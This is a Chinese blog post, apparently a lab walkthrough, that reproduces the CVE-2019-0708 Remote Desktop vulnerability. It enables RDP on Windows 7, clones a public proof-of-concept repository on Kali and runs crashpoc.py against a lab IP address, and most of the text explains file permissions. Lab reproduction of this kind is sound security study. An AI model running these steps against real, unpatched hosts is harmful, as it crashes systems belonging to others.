前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >[漏洞复现]CVE-2019-0708

[漏洞复现]CVE-2019-0708

作者头像
李鹏华
发布2024-03-12 14:51:00
840
发布2024-03-12 14:51:00
举报
文章被收录于专栏:网络信息安全网络信息安全
一、远程桌面连接

首先,我们要设置远程连接 在控制面板中,搜索“远程设置”->“远程”,勾选“允许远程协助连接这台计算机”和“仅允许运行使用网络级别身份验证的远程桌面的计算机联机”,然后点击“应用”。

下一步,查看Win7的IP地址,CMD中输入指令ipconfig

接着打开远程控制的电脑Win10系统,在运行中输入“mstsc”。

输入刚才得知的Win7 IP地址

下一步的弹窗会要求输入账户和密码,点击确定(或者保存密码)

二、kali系统还原漏洞

首先,通过git命令下载远程代码。

代码语言:javascript
复制
git clone https://github.com/n1xbyte/CVE-2019-0708.git

原网站内容显示如下所示:

查看所下载资源的组成,可以看到crashpoc.py、poc.py、README.md文件。

代码语言:javascript
复制
ls
cd CVE-2019-0708
ls

查看文件权限并升级权限。

代码语言:javascript
复制
ls -lh

通过“ls -lh”命令查看权限,以“crashpoc.py”权限为例,第一块“-rwx”代表文件主人root的权限,即管理员权限;第二块“r– –”代表这个文件所在组的其他人的权限;第三块“r– –”代表其他人的权限,如Apache等软件属于其他人权限。“r”代表读取权限、“w”达标写入权限、“x”代表执行权限。

代码语言:javascript
复制
chmod 777 crashpoc.py

调用命令“chmod 777 crashpoc.py”修改权限,“chmod”表示change mod修改文件属性;“crashpoc.py”表示所修改的文件;“777”表示权限列表,每个“7”表示一组,总共三组,“r– –”二进制表示“100”,其值为4,而“111”二进制值为7(4+2+1),即所有权限都开启。

输入下面的命令修改权限,“x”代表执行权限,可以看到“crashpoc.py”文件变成了绿色,表示可执行。同时该文件权限修改为“-rwx r-x r-x”。

代码语言:javascript
复制
chmod +x crashpoc.py

下一步,我们查看源代码

代码语言:javascript
复制
cat crashpoc.py
cat poc.py

打开crashpoc.py查看源代码,发现需要安装impacket、Structure扩展包。

下一步,安装没有安装的扩展包

代码语言:javascript
复制
pip3 install impacket
pip3 install Structure

最后一步,利用POC攻击

代码语言:javascript
复制
python3 crashpoc.py 192.168.147.136 32

结果如下图:

在复现的过程中,有几个点需要注意: 1、攻击指令之后要有攻击的端口号; 2、如果py文件运行失败,要注意一下,是否是openssl的问题; 3、远程桌面设置时,尽量选择“仅允许运行使用网络级别身份验证的远程桌面计算机进行连接”,这样子更安全;

希望大家可以有所收获!!!

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2024-03-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一、远程桌面连接
  • 二、kali系统还原漏洞
相关产品与服务
多因子身份认证
多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档